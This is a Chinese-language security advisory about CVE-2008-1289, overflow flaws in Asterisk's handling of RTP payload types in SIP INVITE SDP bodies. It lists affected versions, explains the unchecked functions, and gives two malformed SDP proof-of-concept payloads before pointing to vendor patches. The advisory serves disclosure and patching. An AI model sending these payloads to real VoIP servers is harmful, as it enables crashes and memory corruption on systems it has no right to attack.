Asterisk RTP Codec负载处理多个溢出漏洞
发布日期:2008-03-18
更新日期:2008-03-20
受影响系统:Asterisk Asterisk 1.6.x
Asterisk Asterisk 1.4.x
Asterisk Business Edition C.x.x
Asterisk AsteriskNOW 1.0.x
Asterisk Appliance Developer Kit SVN
Asterisk s800i 1.1.x
不受影响系统:Asterisk Asterisk 1.6.0-beta6
Asterisk Asterisk 1.4.19-rc3
Asterisk Asterisk 1.4.18.1
Asterisk Business Edition C.1.6.1
Asterisk AsteriskNOW 1.0.2
Asterisk Appliance Developer Kit 1.4 revision 109386
Asterisk s800i 1.1.0.2
描述:
BUGTRAQ ID:
28308
CVE(CAN) ID:
CVE-2008-1289
Asterisk是开放源码的软件PBX,支持各种VoIP协议和设备。
Asterisk在处理带有畸形数据的请求时存在漏洞,如果在INVITE消息的SDP负载中发送了无效的RTP负载类型号的话,就会导致写入无效的内存位置,允许攻击者控制某些部分的内存。
无效的内存写入发生在process_line()(channels/chan_sip.c文件5275行)所调用的ast_rtp_unset_m_type()(main/rtp.c文件1655行)。ast_rtp_unset_mt_type()没有验证pt,而在ast_rtp_set_mt_type()(1642行)进行了验证。攻击者可以控制pt向很大的内存地址范围写入0。
如果在SIP INVITE消息的SDP负载发送了多于32个RTP负载类型数属性的话,就会覆盖栈缓冲区,允许攻击者控制写入的值。
在process_sdp()(channels/chan_sip.c文件4980行)中,rtpmap codecs存储到了32 int的数组found_rtpmap_codecs,映射中的codec数存储到了last_rtpmap_codec中。未经检查数组的大小便将Codec附加到了数组(5258行),最多为64(SIP_MAX_LINES)。攻击者可以向缓冲区后的内存位置写入0到256(MAX_RTP_PT)的值。
<*来源:Joshua Colp (
jcolp@digium.com)
链接:
http://marc.info/?l=bugtraq&m=120594125107491&w=2
http://secunia.com/advisories/29426/
http://labs.musecurity.com/advisories/MU-200803-01.txt
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
v=0
o=- 817933771 817933775 IN IP4 10.10.1.101
s=session-name
c=IN IP4 10.10.1.101
t=0 0
m=audio 5000 RTP/AVP 0
a=rtpmap:780903144 PCMU/8000
a=rtpmap:4 G723/8000/1
a=rtpmap:97 telephone-event/8000
Example SDP payload:
v=0
o=- 817933771 817933775 IN IP4 10.10.1.101
s=session-name
c=IN IP4 10.10.1.101
t=0 0
m=audio 5000 RTP/AVP 0
a=rtpmap:0 PCMU/8000
[... repeat this line ...]
a=rtpmap:4 G723/8000/1
a=rtpmap:97 telephone-event/8000
建议:
厂商补丁:
Asterisk
--------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://downloads.digium.com/pub/telephony/asterisk
http://www.asterisknow.org/浏览次数:2766
严重程度:0(网友投票)